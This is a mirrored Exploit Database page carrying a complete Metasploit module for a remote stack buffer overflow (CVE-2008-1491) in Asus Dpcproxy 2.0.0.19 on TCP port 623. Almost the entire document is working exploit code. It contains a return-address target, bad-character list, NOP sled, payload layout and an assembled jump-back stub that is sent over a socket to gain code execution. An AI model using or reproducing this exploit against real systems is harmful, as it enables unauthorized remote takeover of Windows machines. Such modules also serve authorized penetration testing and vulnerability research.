Asus Dpcproxy – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-06-22
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16425/

• ##
  # $Id: asus_dpcproxy_overflow.rb 9583 2010-06-22 19:11:05Z todb $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Asus Dpcproxy Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
  					It should be vulnerable until version 2.0.0.24.
  					Credit to Luigi Auriemma
  			},
  			'Author' => 'Jacopo Cervini',
  			'Version'=> '$Revision: 9583 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-1491' ],
  					[ 'OSVDB', '43638' ],
  					[ 'BID', '28394' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 400,
  					'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Asus Dpcroxy version 2.00.19 Universal', { 'Ret' => 0x0040273b } ], # p/p/r
  				],
  			'Privileged' => true,
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Mar 21 2008'))
  
  		register_options([Opt::RPORT(623)], self.class)
  
  	end
  
  	def exploit
  		connect
  
  		sploit = make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)
  		sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
  		sploit << [target.ret].pack('V') +make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back
  		sploit << make_nops(50)
  
  		print_status("Trying target #{target.name}...")
  		sock.put(sploit)
  		select(nil,nil,nil,3) # =(
  
  		handler
  		disconnect
  	end
  
  end